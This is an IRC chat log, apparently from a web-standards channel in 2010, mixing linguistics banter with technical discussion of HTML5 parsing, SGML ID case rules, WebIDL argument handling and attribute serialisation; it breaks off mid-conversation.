hsivonen: ↑

[08:10:03.0000] <annevk>
I guess I have some more time

[08:10:04.0000] <hsivonen>
MikeSmith: there is none

[08:10:05.0000] <hsivonen>
(aren't those definite and indefinite, not direct and indirect?)

[08:10:06.0000] <MikeSmith>
hsivonen: oops, yeah

[08:11:00.0000] <MikeSmith>
I means definite/indefinite

[08:11:01.0000] <MikeSmith>
annevk: please do get it done as soon as you can

[08:11:02.0000] <annevk>
can you give me 45min?

[08:11:03.0000] <hsivonen>
articles are kinda useless, so we don't have those

[08:11:04.0000] <MikeSmith>
annevk: yeah, sure

[08:12:00.0000] <hsivonen>
definite vs. indefinite information is baked into the case in some cases

[08:12:01.0000] <hsivonen>
oops. pun unintended

[08:12:02.0000] <MikeSmith>
hsivonen: yeah, Japanese and most asian languages don't have them either

[08:12:03.0000] <MikeSmith>
heh

[08:13:00.0000] <MikeSmith>
hsivonen: but Japanese speakers and other Asian non-native English learners seem to have a lot of trouble using "a" and "the" correctly in English

[08:13:01.0000] <MikeSmith>
it's pretty hard

[08:13:02.0000] <hsivonen>
I don't find it conceptually that hard

[08:13:03.0000] <MikeSmith>
but it seems like FInnish speakers don't have that problem nearly as much

[08:14:00.0000] <MikeSmith>
I think there are some instances where it's hard

[08:14:01.0000] <MikeSmith>
though I can't think of particulars right now

[08:14:02.0000] <MikeSmith>
I know there are some where I had a difficult time explaining why "a" is needed instead of "the"

[08:14:03.0000] <MikeSmith>
or vice versa

[08:16:00.0000] <MikeSmith>
hsivonen: also, Google Translate Finnish<->English seems to be relatively poor quality

[08:17:00.0000] <hsivonen>
MikeSmith: yeah. I use source language to English when I use Google Translate

[08:17:01.0000] <hsivonen>
(and Google would use English as an intermediate language anyway)

[08:17:02.0000] <MikeSmith>
machine translation of Japanese->English is also poor quality

[08:18:00.0000] <MikeSmith>
the reason for it isn't because of Google Translate in particular

[08:18:01.0000] <MikeSmith>
it's just very difficult to do decent Japanese->English machine translation

[08:18:02.0000] <hsivonen>
human translation quality from English to Finnish varies rather strikingly

[08:18:03.0000] <MikeSmith>
interesting

[08:19:00.0000] <MikeSmith>
is there a lot that needs to be inferred when doing it?

[08:19:01.0000] <hsivonen>
there are some books (typically non-fiction) where one can tell what the English expressions were

[08:19:02.0000] <MikeSmith>
ah

[08:19:03.0000] <hsivonen>
that is, the result is Finnish, but no one would write Finnish like that from scratch

[08:19:04.0000] <MikeSmith>
I see

[08:20:00.0000] <MikeSmith>
I was thinking more of the other way around

[08:20:01.0000] <MikeSmith>
from Finnish to English

[08:20:02.0000] <MikeSmith>
in comparison, one big problem with translating Japanese to English is that the subject can be omitted from a sentences

[08:20:03.0000] <MikeSmith>
*from sentences

[08:21:00.0000] <MikeSmith>
that is, the sentences in the Japanese source may lack subjects

[08:21:01.0000] <hsivonen>
and the translator has to make a guess?

[08:21:02.0000] <MikeSmith>
the only way to know what the subject is is to read the previous sentence or parargraph

[08:21:03.0000] <MikeSmith>
human translator does not need to guess

[08:21:04.0000] <hsivonen>
ah

[08:21:05.0000] <MikeSmith>
it's almost always unambiguous to humans

[08:22:00.0000] <MikeSmith>
but harder to teach a machine

[08:22:01.0000] <MikeSmith>
though not impossible of course

[08:22:02.0000] <MikeSmith>
anyway, I was speculating that there might be some similar reasons why going from Finnish to English with machine translation might be more difficult than most

[08:23:00.0000] <MikeSmith>
I mean, I've been surprised to find that Google Translate does a decent job with some languages that I had naively assumed it might have a lot of difficulty with

[08:23:01.0000] <MikeSmith>
Hebrew, for example

[08:23:02.0000] <MikeSmith>
and Arabic

[08:23:03.0000] <MikeSmith>
and Hindi

[08:24:00.0000] <MikeSmith>
it consistently seems to do better with all those than it does with Finnish

[08:24:01.0000] <hsivonen>
I think the top two things that require inference when translating from Finnish to English are using the future tense and guessing he vs. she

[08:24:02.0000] <MikeSmith>
OK

[08:26:00.0000] <hsivonen>
I mean for a machine. For a human, the future vs. present information is there but not in the verbs

[08:30:00.0000] <MikeSmith>
hsivonen: I see

[08:30:01.0000] <hsivonen>
hmm. So now the spec has a "Noah ark clause" in addition to the "adoption agency algorithm"

[08:30:02.0000] <hsivonen>
*Noah's

[08:31:00.0000] <MikeSmith>
yeah, interesting choice of name there

[08:37:00.0000] <annevk>
there's a restaurant here in Oslo called Noah's Ark

[08:37:01.0000] <annevk>
they've got nice burgers

[08:37:02.0000] <hsivonen>
annevk: do they come in pairs?

[08:38:00.0000] <annevk>
unfortunately not :)

[08:40:00.0000] <annevk>
so only <video> has an audio attribute

[08:40:01.0000] <annevk>
not <audio>

[08:40:02.0000] <annevk>
hmm

[08:43:00.0000] <annevk>
MikeSmith, http://dev.w3.org/html5/html4-differences/ has been updated

[08:43:01.0000] <annevk>
fwiw, http://www.w3.org/TR/progress-events/ has been updated too

[08:46:00.0000] <MikeSmith>
annevk: thanks

[08:46:01.0000] <MikeSmith>
annevk: btw, you saw that Doug Turner had implemented support for the Web Notifications spec in Fennec?

[08:46:02.0000] <MikeSmith>
I don't recall if he mentioned it on the list

[08:47:00.0000] <annevk>
I read a post last Friday I believe

[08:47:01.0000] <MikeSmith>
yeah

[08:47:02.0000] <annevk>
and I saw you mentioning it again somewhere in the logs :)

[08:47:03.0000] <MikeSmith>
heh

[08:47:04.0000] <MikeSmith>
OK

[08:50:00.0000] <karlcow>
I wonder if Japanese <-> Finish works well?

[08:52:00.0000] <karlcow>
when I see romaji and finish's spelling, I sometimes wonder if there are not the same language. It is very strange. 

[08:53:00.0000] <hsivonen>
karlcow: I expect the market isn't big enough for anyone to bother

[08:53:01.0000] <karlcow>
hsivonen: you mean for the translation engine?

[08:53:02.0000] <hsivonen>
karlcow: right

[08:54:00.0000] <hsivonen>
(Google translates Japanese to English to Finnish when asking it to translate from Japanese to Finnish)

[08:55:00.0000] <karlcow>
For the market, for sure. :) But I was more interested by the work of art :)

[08:55:01.0000] <MikeSmith>
hsivonen: what's the current conclusion about which language family (families) Finnish belongs to?

[08:55:02.0000] <MikeSmith>
for comparison, I think there is currently not actually a real consensus on where Japanese developed from

[08:55:03.0000] <karlcow>
http://educationjapan.org/jguide/origins.html

[08:56:00.0000] <hsivonen>
MikeSmith: I believe the English name is Fenno-Ugric

[08:56:01.0000] <MikeSmith>
OK

[08:56:02.0000] <karlcow>
Japanese is often regarded as a possible member of the Altaic group, but the relationship is generally considered tentative or unproven.

[08:56:03.0000] <hsivonen>
/me has to go

[08:56:04.0000] <karlcow>
"Altaic includes three main subfamilies (Turkic, Mongolian and Manchu-Tungus), while Uralic includes the Finn-Ugric languages (Hungarian, Finnish, Estonian, etc.) and the Samoyedic tongues (spoken in parts of Russia). "

[08:57:00.0000] <MikeSmith>
karlcow: my understanding is that it's beens a long time since any serious researchers actually still classified Japanese in the Altaic group

[08:57:01.0000] <MikeSmith>
but I could be wrong

[08:58:00.0000] <karlcow>
MikeSmith: I'm not qualified at all. Just reading what I find. :) 

[08:59:00.0000] <karlcow>
"Vowel harmony is common in Altaic and Uralic languages, such as Turkish and Finnish, and later I will show how it has been used to support theories relating Japanese to these groups."  -- http://linguistics.byu.edu/classes/ling450ch/reports/japanese.htm

[08:59:01.0000] <karlcow>
"Japanese is not conclusively linked to any other language or family of languages. It has remained a mystery despite all these centuries of research, and continues to prod the people who speak it to seek out their identity."

[09:00:00.0000] <MikeSmith>
karlcow: I think it is becoming less of a mystery recently

[09:00:01.0000] <MikeSmith>
research seems to be leaning towards this:

[09:00:02.0000] <MikeSmith>
http://en.wikipedia.org/wiki/Goguryeo_language

[09:00:03.0000] <karlcow>
/me is reading

[09:01:00.0000] <karlcow>
/me wants a time machine.

[09:01:01.0000] <karlcow>
and poneys

[09:04:00.0000] <karlcow>
ooooh and for the catastrophists, end of the world theorists or just poets ;) there is a big giant ass ring on the sun :) 

[09:05:00.0000] <MikeSmith>
so from reading http://en.wikipedia.org/wiki/Finno-Ugric_languages I see that Hungarian and Estonian are among the languages that Finnish is related to

[09:06:00.0000] <karlcow>
http://www.nasa.gov/topics/solarsystem/sunearthsystem/main/News101610-3flares.html

[09:07:00.0000] <karlcow>
MikeSmith: migration of people? waves of invasion? viral language? :)

[09:08:00.0000] <Workshiva>
Terrible how much information has been lost

[09:09:00.0000] <karlcow>
the ring is more visible on this image http://spacefellowship.com/wp-content/uploads/2010/10/489332main_euvfilament-20101016.jpg

[09:10:00.0000] <MikeSmith>
karlcow: cool

[09:10:01.0000] <MikeSmith>
Workshiva: about language history?

[09:16:00.0000] <Workshiva>
MikeSmith: History in general

[09:19:00.0000] <MikeSmith>
some history can at least be reconstructed from tangible artifacts

[09:20:00.0000] <MikeSmith>
but for extinct languages that without a written record, the info really is lost forever

[09:21:00.0000] <MikeSmith>
I mean, there is always the possibility of archaeologists uncovering artifacts that we can recover history from about a lot of things

[09:21:01.0000] <MikeSmith>
but not about spoken language

[09:21:02.0000] <MikeSmith>
unrecorded spoken language

[09:29:00.0000] <Workshiva>
But even written history is very sparse compared to the total of reality

[09:43:00.0000] <MikeSmith>
I have noticed lately that Chrome on OSX seems to be doing caching more aggressively than other browsers

[09:43:01.0000] <MikeSmith>
or maybe it's just me

[09:45:00.0000] <MikeSmith>
remote resources but also caching file:// resources and not loading them from disk after I've made changes to them, but instead keeping right on serving them from cache

[09:46:00.0000] <MikeSmith>
seems like file:// resources should arguably never get cached to begin with

[09:51:00.0000] <MikeSmith>
I wish there were a replacement word in English for "now" 

[09:51:01.0000] <MikeSmith>
so that I don't mistakenly type "not" when I meant to type "now"

[09:52:00.0000] <Philip`>
MikeSmith: "presently"?

[09:52:01.0000] <karlcow>
too long?

[09:53:00.0000] <MikeSmith>
yeah

[09:53:01.0000] <MikeSmith>
Philip`: e.g., "http://www.w3.org/TR/2010/WD-html5-diff-20101019/ is not ready for publication"

[09:53:02.0000] <MikeSmith>
http://www.w3.org/TR/2010/WD-html5-diff-20101019/ is presently ready for publication

[09:54:00.0000] <karlcow>
MikeSmith: you can type "ima" and have an automatic script to translate but that will severely damage your brain and you end by saying "ima" orally to English speakers :)

[09:54:01.0000] <jgraham>
Why not just say "is ready for publication"

[09:54:02.0000] <MikeSmith>
and yeah, I know I could omit "now" and it would still make sense

[09:54:03.0000] <MikeSmith>
jgraham: I knew you would say that

[09:54:04.0000] <jgraham>
Me?

[09:54:05.0000] <karlcow>
:D

[09:54:06.0000] <jgraham>
Philip` was far more likely

[09:54:07.0000] <MikeSmith>
why not, is because for whatever reason, I typed "http://www.w3.org/TR/2010/WD-html5-diff-20101019/ is not ready for publication" initially

[09:55:00.0000] <MikeSmith>
I didn't spend a whole lot of time thinking about why I wanted the "now" in there to begin with

[09:55:01.0000] <MikeSmith>
I just typed it

[09:55:02.0000] <MikeSmith>
mistyped it

[09:55:03.0000] <MikeSmith>
jgraham: well, not you in particular

[09:55:04.0000] <karlcow>
or a script which does "uri pub" and creates the sentence automatically :p

[09:55:05.0000] <MikeSmith>
"you" in general

[09:56:00.0000] <karlcow>
"at the moment, at present, at the present (time/moment), at this moment in time, currently, presently."

[09:56:01.0000] <karlcow>
"3 you must leave now: at once, straightaway, right away, right now, this minute, this instant, immediately, instantly, directly, without further ado, promptly, without delay, as soon as possible; informal pronto, straight off, ASAP."

[09:56:02.0000] <MikeSmith>
thanks Mr. Encyclopedia

[09:57:00.0000] <MikeSmith>
;)

[09:57:01.0000] <karlcow>
"http://www.w3.org/TR/2010/WD-html5-diff-20101019/ is without further ado ready for publication"

[09:57:02.0000] <karlcow>
hmmm

[09:57:03.0000] <MikeSmith>
heh

[09:57:04.0000] <karlcow>
coming from Apple Dictionary 

[09:57:05.0000] <MikeSmith>
"now" in Hungarian is "most"

[09:57:06.0000] <karlcow>
The thesaurus section

[09:58:00.0000] <jgraham>
s/without further ado/after much ado/

[09:58:01.0000] <jgraham>
and you can set yourself up for a world of Shakespeare puns

[09:59:00.0000] <karlcow>
/me is trying to guess the difference between the two jgraham gave.

[09:59:01.0000] <karlcow>
reaching my English inabilities

[09:59:02.0000] <MikeSmith>
I like "nå"

[10:00:00.0000] <jgraham>
karlcow: Just that "Much ado about nothing" is the play

[10:00:01.0000] <jgraham>
(so "much ado" for short)

[10:01:00.0000] <karlcow>
aaaah. capice

[10:01:01.0000] <karlcow>
merci

[10:01:02.0000] <jcranmer>
lol

[10:01:03.0000] <jcranmer>
Come back later! Enjoy your fall break~

[10:01:04.0000] <jcranmer>
Brandon

[10:01:05.0000] <jcranmer>
no

[10:01:06.0000] <jcranmer>
Chandler

[10:01:07.0000] <jgraham>
I thought "capice" was Italian

[10:01:08.0000] <MikeSmith>
I think I will just start using "ahora"

[10:02:00.0000] <MikeSmith>
with ital

[10:02:01.0000] <MikeSmith>
"http://www.w3.org/TR/2010/WD-html5-diff-20101019/ is ready for publication _ahora_"

[10:03:00.0000] <MikeSmith>
I think more European speakers already know what "ahora" means, right?

[10:03:01.0000] <Philip`>
/me wouldn't know that

[10:04:00.0000] <MikeSmith>
really?

[10:04:01.0000] <MikeSmith>
hmm

[10:05:00.0000] <karlcow>
but agora is easier to pronunce

[10:05:01.0000] <MikeSmith>
"now" in "nu" in Esparanto

[10:05:02.0000] <karlcow>
though agora might confuse greek people

[10:05:03.0000] <MikeSmith>
and in several other languages of course

[10:06:00.0000] <MikeSmith>
but I don't think most native English speakers know "nu"

[10:06:01.0000] <MikeSmith>
I wonder why Google Translate doesn't do Esparanto

[10:07:00.0000] <MikeSmith>
seems like it used to

[10:09:00.0000] <jgraham>
Hmm, I just noticed that the phrasing of the HTML5 spec around foreign content stuff makes it hard to implement in html5lib without invasive changes :(

[10:10:00.0000] <jgraham>
Specifically the "except that if those rules say to reprocess the token, these steps must be finished first"

[10:10:01.0000] <MikeSmith>
jgraham: was the text added recently?

[10:10:02.0000] <jgraham>
Yeah

[10:10:03.0000] <MikeSmith>
I see

[10:10:04.0000] <MikeSmith>
didn't remember that being in there before

[10:11:00.0000] <jgraham>
Typically the token is reprocessed by a direct call rather than by spinning the loop again with the same token

[10:11:01.0000] <MikeSmith>
I suspect other implementations might be doing it that same way

[10:11:02.0000] <jgraham>
I think it is OK for Henri as phrased

[10:11:03.0000] <jgraham>
I dunno about the WebKit implementation

[10:12:00.0000] <MikeSmith>
I wonder about the PHP parser

[10:12:01.0000] <jgraham>
Ask gsnedders 

[10:12:02.0000] <MikeSmith>
/me tries to remember what others there are at this point

[10:12:03.0000] <MikeSmith>
there is a DOM parser in node.js now

[10:12:04.0000] <MikeSmith>
but it does not attempt to conform to the HTML5 spec yet

[10:13:00.0000] <MikeSmith>
as far as I remember

[10:13:01.0000] <MikeSmith>
I think there are actually more than one DOM implementations in node 

[10:13:02.0000] <MikeSmith>
that are in various states of development

[10:13:03.0000] <MikeSmith>
but I think the most mature one is not HTML5-conformant

[10:13:04.0000] <MikeSmith>
I think hober has been following the work on that one

[10:13:05.0000] <MikeSmith>
and filed a bug

[10:13:06.0000] <MikeSmith>
or enhancement request

[10:14:00.0000] <MikeSmith>
that is should conform to HTML5

[10:14:01.0000] <jgraham>
Writing a from scratch HTML5 parser and not following the HTML5 spec is just lame

[10:14:02.0000] <jgraham>
Well naive

[10:14:03.0000] <jgraham>
probably

[10:14:04.0000] <MikeSmith>
well, people don't know

[10:14:05.0000] <MikeSmith>
they work on a lot of stuff

[10:14:06.0000] <MikeSmith>
they don't follow every single thing that goes on in standards land

[10:15:00.0000] <jgraham>
Indeed

[10:15:01.0000] <MikeSmith>
anyway, I think hober is on top of it

[10:15:02.0000] <MikeSmith>
in this case

[10:15:03.0000] <jgraham>
But you might have thought that if you were going to write a HTML parser you would at least check out the HTML spec

[10:15:04.0000] <jgraham>
hober++

[10:16:00.0000] <gsnedders>
MikeSmith: Will be fine for the PHP impl, as that just spins the loop again for it ordinarily

[10:16:01.0000] <jgraham>
(I know history might have taught you to regard the HTML spec as basically useless for all purposes except inciting markup purity holy wars)

[10:16:02.0000] <MikeSmith>
gsnedders: k

[10:17:00.0000] <gsnedders>
MikeSmith: Not that anyone is intending on maintaining it

[10:17:01.0000] <MikeSmith>
heh

[10:17:02.0000] <gsnedders>
(I refuse to implement all of the script tokenizer states again.)

[10:17:03.0000] <MikeSmith>
about the node DOM thing, for now, I'm just glad at all to have a DOM implementation at node

[10:17:04.0000] <jgraham>
I guess at some point I will end up making a reprocessToken() function or something

[10:17:05.0000] <MikeSmith>
*in node

[10:18:00.0000] <jgraham>
and tediously removing all the explicit calls

[10:18:01.0000] <jgraham>
and then missing some and creating bugs

[10:18:02.0000] <MikeSmith>
or in JS, really (which is what it comes down to)

[10:18:03.0000] <jgraham>
and then finding out that there is some special case where it doesn't quite work

[10:18:04.0000] <MikeSmith>
(I don't know how tightly bound if at all the parser might be to node)

[10:19:00.0000] <jgraham>
Eventually we will be able to write a whole browser in js

[10:19:01.0000] <MikeSmith>
heh

[10:19:02.0000] <jgraham>
and you will run a browser in your browser

[10:19:03.0000] <MikeSmith>
we certainly may be able to write a validator at least

[10:19:04.0000] <MikeSmith>
or more specifically, an HTML5 conformance checker

[10:19:05.0000] <jgraham>
Well the Mozilla people have javascript in js

[10:20:00.0000] <Philip`>
I thought there was someone on the WHATWG list seriously proposing that the web platform should be extended so that it's complete enough to write a browser

[10:20:01.0000] <MikeSmith>
yeah

[10:20:02.0000] <jgraham>
and doing image decoding and stuff can't be that hard

[10:20:03.0000] <jgraham>
Just need a layout engine

[10:21:00.0000] <Philip`>
Surely implementing CSS 2.1 can't be that hard

[10:21:01.0000] <Philip`>
It's just a load of boxes

[10:21:02.0000] <MikeSmith>
heh

[11:07:00.0000] <karlcow>
looking at Server Sent Events, and remember Pointcast http://www.nczonline.net/blog/2010/10/19/introduction-to-server-sent-events/ http://en.wikipedia.org/wiki/Push_technology

[12:40:00.0000] <TabAtkin1_>
/me wishes Server-Sent Events would work in Chrome, or at least he could figure out why his trivial demo isn't working in Chrome.

[13:38:00.0000] <MikeSmith>
does HTML4 or any other spec say that ID values should be compared case-insensitively?

[13:40:00.0000] <MikeSmith>
http://validator.w3.org/check?uri=http%3A%2F%2Fwww.whatwg.org%2Fspecs%2Fweb-apps%2Fcurrent-work%2Fmultipage%2Fnamed-character-references.html&charset=%28detect+automatically%29&doctype=HTML+4.01+Strict&group=1&user-agent=W3C_Validator%2F1.1

[13:40:01.0000] <MikeSmith>
see the "ID X already defined" errors

[13:41:00.0000] <MikeSmith>
I am wondering if the W3C validator is intentionally configured to check IDs case-insensitively for some reason

[14:07:00.0000] <zcorpan>
MikeSmith: ID validation in html4 inherits the sgml rules for IDs (since IDness is specified in the DTD)

[14:07:01.0000] <MikeSmith>
OK

[14:08:00.0000] <MikeSmith>
so next question is, did SGML have the notion of case-insensitve IDs 

[14:25:00.0000] <m0>
Hixie: Sorry for the long response :-) It is a Haptics device, my personal experiment is to make Accessibility better for disabled people (blindness)

[14:25:01.0000] <m0>
s/long/late

[14:42:00.0000] <Hixie>
hsivonen: i can't say i ever think about xslt, sorry. If you want anything added for it, file a bug, happy to add a note.

[14:49:00.0000] <david_carlisle>
MikeSmith: yes

[14:50:00.0000] <MikeSmith>
david_carlisle: IDs in SGML are case-insenstive, you mean?

[14:51:00.0000] <david_carlisle>
by default yes

[14:51:01.0000] <david_carlisle>
<y id="aa">xx</y>

[14:51:02.0000] <david_carlisle>
<y ref="AA">xx</y>

[14:51:03.0000] <david_carlisle>
validates 

[14:51:04.0000] <david_carlisle>
basically the rules for id are same as rules for element names

[14:56:00.0000] <zcorpan>
david_carlisle: does the html4 sgml decl make IDs case-insensitive?

[14:56:01.0000] <david_carlisle>
just looking...

[14:57:00.0000] <david_carlisle>
I was quicker at reading this stuff in a previous life

[14:58:00.0000] <david_carlisle>
                  NAMECASE GENERAL YES

[14:58:01.0000] <david_carlisle>
                           ENTITY  NO

[14:58:02.0000] <david_carlisle>
so I think entities are case sensitive everything else not, but I'll just check with onsgmls on an example...

[15:00:00.0000] <zcorpan>
for some reason i thought IDs were always case-sensitive in sgml

[15:09:00.0000] <david_carlisle>
zcopan:  onsgmls says this is valid

[15:09:01.0000] <david_carlisle>
$ onsgmls.exe table.html >  /dev/null

[15:09:02.0000] <david_carlisle>
<!DOCTYPE html SYSTEM "HTML4.dtd">

[15:09:03.0000] <david_carlisle>
<html>

[15:09:04.0000] <david_carlisle>
<head>

[15:09:05.0000] <david_carlisle>
<title>?</title>

[15:09:06.0000] <david_carlisle>
</head>

[15:09:07.0000] <david_carlisle>
<body>

[15:09:08.0000] <david_carlisle>
<table id="aa">

[15:09:09.0000] <david_carlisle>
<tr>

[15:09:10.0000] <david_carlisle>
<td headers="AA"></td>

[15:09:11.0000] <david_carlisle>
</tr>

[15:09:12.0000] <david_carlisle>
</table>

[15:09:13.0000] <david_carlisle>
</body>

[15:09:14.0000] <david_carlisle>
</html>

[15:10:00.0000] <zcorpan>
ok

[15:10:01.0000] <david_carlisle>
sgml spec is as clear as mud, but I'd trust James clark :-)

[15:15:00.0000] <Hixie>
anyone know why opera doesn't handle http://www.hixie.ch/tests/adhoc/html/navigation/interrupts/harness.html correctly?

[15:16:00.0000] <Hixie>
it seems to just not be running scripts

[15:16:01.0000] <Hixie>
oh nm

[15:16:02.0000] <Hixie>
now it works

[15:35:00.0000] <heycam>
hsivonen, yt?

[15:37:00.0000] <zcorpan>
heycam: btw, it would be great if webidl said what to do with too few arguments to constructors and methods (i think it has a note about this)

[15:38:00.0000] <heycam>
zcorpan, yeah it would be good if there were a note in there saying simply what the requirements are. (it is in fact defined, as a result of the overload resolution stuff.)

[15:38:01.0000] <heycam>
but i'm not sure people are happy with that overload stuff, so it's probable that that will change

[15:39:00.0000] <zcorpan>
oh, i didn't know it was defined

[15:39:01.0000] <heycam>
there's a note in the spec about deciding whether the requirement for too few/many arguments should be changed

[15:39:02.0000] <heycam>
i believe it currently requires a TypeError for any mismatch of argument count

[15:39:03.0000] <zcorpan>
ah

[15:39:04.0000] <heycam>
that i only believe it and not know it is not a great reflection on the writing there :)

[15:40:00.0000] <zcorpan>
no one throws for too many arguments, i wonder if web content relies on that

[15:40:01.0000] <heycam>
hope not, then :)

[15:41:00.0000] <heycam>
if it doesn't, then it might be good for future compat if we want to add more arguments to methods

[15:41:01.0000] <heycam>
to throw, that is

[15:42:00.0000] <zcorpan>
yes

[15:42:01.0000] <zcorpan>
i wonder if webkit and ie are willing to change for the too few arguments case

[15:43:00.0000] <heycam>
do you know if they allow any invocations for two-few args?  or just few a selection of methods (like addEventListener assuming false at the end)?

[15:44:00.0000] <heycam>
if it's just a few, and they're unwilling to change, we could introduce some overloading to handle those cases

[15:44:01.0000] <zcorpan>
they allow missing arguments everywhere

[15:44:02.0000] <heycam>
mm

[15:44:03.0000] <heycam>
i wonder if it is as important to throw for such cases

[15:45:00.0000] <gsnedders>
What do they default to for stuff?

[15:45:01.0000] <heycam>
if we wanted to introduce overloadings with fewer arguments later on...

[15:45:02.0000] <zcorpan>
gsnedders: undefined

[15:45:03.0000] <gsnedders>
zcorpan: And then maybe throw if undefined isn't an allowed type for that argument?

[15:45:04.0000] <gsnedders>
(e.g., undefined can't really become HTMLElement)

[15:46:00.0000] <heycam>
although undefined can become null which sometimes might be allowed as an HTMLElement arg

[15:46:01.0000] <zcorpan>
gsnedders: yeah, i guess

[15:46:02.0000] <heycam>
i like anne's suggestion of removing "null" from the set of object reference values

[15:46:03.0000] <heycam>
and only explicitly allowing it with a "?"

[15:47:00.0000] <gsnedders>
heycam: Yeah, it makes sense for it to become another non-object primitive

[15:49:00.0000] <zcorpan>
in ie document.createElement() is equivalent to document.createElement(null) but different to document.createElement(undefined)

[15:49:01.0000] <heycam>
:/

[15:49:02.0000] <gsnedders>
zcorpan: so creates an element called "null"?

[15:51:00.0000] <zcorpan>
gsnedders: yes

[15:51:01.0000] <zcorpan>
getElementById also defaults to null

[15:51:02.0000] <zcorpan>
so maybe ie defaults to null everywhere

[15:51:03.0000] <zcorpan>
instead of undefined

[15:51:04.0000] <zcorpan>
this is ie9 beta

[15:51:05.0000] <jgraham>
The logical-from-js behaviour would be foo() === foo(undefined)

[15:52:00.0000] <jgraham>
I think we should throw for too-few arguments but not too many

[15:52:01.0000] <heycam>
i wonder if sites rely on elements with ID or name "null"

[15:52:02.0000] <heycam>
jgraham, for consistency with the functions defined in the ES spec?

[15:52:03.0000] <gsnedders>
/me places bet they do

[15:52:04.0000] <gsnedders>
I think we should throw for both.

[15:52:05.0000] <jgraham>
heycam: For sanity, mainly

[15:53:00.0000] <heycam>
you'll have to define sanity :)

[15:53:01.0000] <zcorpan>
opera and firefox throw for too few but not too many

[15:53:02.0000] <gsnedders>
It means we can add new features with new arguments, and it's obvious when they aren't supported

[15:53:03.0000] <heycam>
gsnedders, yeah i think that would be the main argument for throwing for too many

[15:53:04.0000] <jgraham>
We can't really do that reliably at the moment if others don't throw

[15:54:00.0000] <jgraham>
And it seems like DOM should be as consistent with javascript as possible

[15:54:01.0000] <heycam>
if others don't throw, then introducing new overloads with more arguments is already going to be fraught with compat worries then, i suppose!

[15:55:00.0000] <jgraham>
We should tie it to ES5 strict mode!

[15:55:01.0000] <jgraham>
(note: not a serious suggestion)

[15:55:02.0000] <gsnedders>
No, to Harmony!

[15:55:03.0000] <jgraham>
(although I can imagine people seriously advocating it)

[15:55:04.0000] <gsnedders>
(note: an even less serious suggestion)

[15:56:00.0000] <heycam>
i'll tie you to E5 strict mode in a minute!

[15:56:01.0000] <heycam>
ES5*

[15:56:02.0000] <Rik`>
so Chrome 7 is the first browser to ship a HTML5 parser, right?

[15:56:03.0000] <zcorpan>
chrome 7 shipped?

[15:56:04.0000] <gsnedders>
Well, they haven't shipped it in stable, and Chrome 6 is still beta, no?

[15:56:05.0000] <gsnedders>
Firefox 4 has shipped in betas, at least

[15:57:00.0000] <Rik`>
zcorpan: http://googlechromereleases.blogspot.com/2010/10/stable-channel-update.html

[15:57:01.0000] <gsnedders>
/me realizes how out of date he is

[15:57:02.0000] <aho>
dev channel is at 8.0.552.5 right now :>

[15:58:00.0000] <gsnedders>
/me wonders why TabAtkins_ did the CSS 2.1 IR with 6 (so not even the beta, as agreed before…)

[15:58:01.0000] <zcorpan>
well then i guess the answer is "yes"

[15:59:00.0000] <gsnedders>
(Also: sing-along A Wizard of Oz! :D)

[16:01:00.0000] <heycam>
hsivonen (and anyone else): consider http://mcc.id.au/temp/ser.html and how the xlink:href attribute gets (un-round-tripably) serialised to an attribte named "href" in firefox nightlies (at least)

[16:01:01.0000] <gsnedders>
(But maybe only I find that awesome.)

[16:01:02.0000] <heycam>
is that per spec, and if so, is it reasonable behaviour?

[16:02:00.0000] <gsnedders>
heycam: Off the top of my head, per spec

[16:02:01.0000] <heycam>
gsnedders, ok. reasonable?

[16:02:02.0000] <gsnedders>
Yeah, per spec.

[16:02:03.0000] <gsnedders>
IMO no.

[16:02:04.0000] <heycam>
imo valid html syntax should be roundtrippable always

[16:05:00.0000] <zcorpan>
"For each attribute that the element has, append a U+0020 SPACE character, the attribute's name (which, for attributes set by the HTML parser or by Element.setAttributeNode() or Element.setAttribute(), will be lowercase), a U+003D EQUALS SIGN character (=), a U+0022 QUOTATION MARK character ("), the attribute's value, escaped as described below in attribute mode, and a second U+0022 QUOTATION MARK character (")."

[16:05:01.0000] <hober>
heycam: I see the same in chrome, fwiw

[16:05:02.0000] <zcorpan>
i think "the attribute's name" is the qualified name

[16:05:03.0000] <gsnedders>
Why?

[16:06:00.0000] <jgraham>
why what?

[16:07:00.0000] <gsnedders>
Why do you think it's the qname?

[16:07:01.0000] <zcorpan>
because i remember discussing this exact issue a few years back

[16:07:02.0000] <zcorpan>
and attr.name returns the qname

[16:08:00.0000] <jgraham>
Could be clearer in the spec

[16:08:01.0000] <heycam>
looking at http://www.whatwg.org/specs/web-apps/current-work/#adjust-foreign-attributes it doesn't explicitly say what the dom 1 name of the attribute node should be

[16:09:00.0000] <zcorpan>
heycam: web dom core fixes that :)

[16:09:01.0000] <zcorpan>
jgraham: yes. i'll file a bug

[16:11:00.0000] <heycam>
zcorpan, so it does :)

[16:12:00.0000] <heycam>
but does "attribute name" in html5 mean attr.name?

[16:13:00.0000] <jgraham>
heycam: Who knows :) Hence the bug

[16:13:01.0000] <jgraham>
(I assume zcorpan is right that it does)

[16:13:02.0000] <jgraham>
(but nevertheless that cannot be reliably deduced from the spec)

[16:14:00.0000] <gsnedders>
/me assumed localname, but oh well

[16:17:00.0000] <jgraham>
So did I but zcorpan made more sense

[16:17:01.0000] <gsnedders>
zcorpan often does.

[16:19:00.0000] <heycam>
i did a `host` on the ip address zcorpan filed the bug from to find ...cust.bredbandsbolaget.se. to me it read like "bread and beaujolais", and now i'm hungry.

[16:20:00.0000] <zcorpan>
lol

[16:20:01.0000] <zcorpan>
time for sleep

[16:20:02.0000] <heycam>
later

[16:20:03.0000] <zcorpan>
bye


2010-10-20
[00:46:00.0000] <Hixie>
does IE8 not support incremental loading of HTML content?

[00:46:01.0000] <Hixie>
http://www.hixie.ch/tests/adhoc/dom/level0/timers/nph-009-demo.html for me in IE has it wait til the whole thing is loaded before parsing anything

[00:58:00.0000] <hsivonen>
Hixie: if we make createContextualFragment create scripts that are script-created and don't have their 'already started' flag set, would you be OK with adding a parameter to the HTML fragment parsing algorithm for controlling script execution prevention?

[00:58:01.0000] <Hixie>
what's createContextualFragment()?

[00:59:00.0000] <Hixie>
is it like insertAdjacentHTML()?

[00:59:01.0000] <hsivonen>
Hixie: it runs the fragment parsing algorithm with a string input and a context node and returns the corresponding DOM fragment

[00:59:02.0000] <Hixie>
or is it the DOM Range thing?

[00:59:03.0000] <hsivonen>
Hixie: it's the Range thing

[00:59:04.0000] <Hixie>
hmm

[00:59:05.0000] <hsivonen>
I think insertAdjacentHTML() should prevent execution

[01:00:00.0000] <Hixie>
what's the use case for inserting scripts with createContextualFragment?

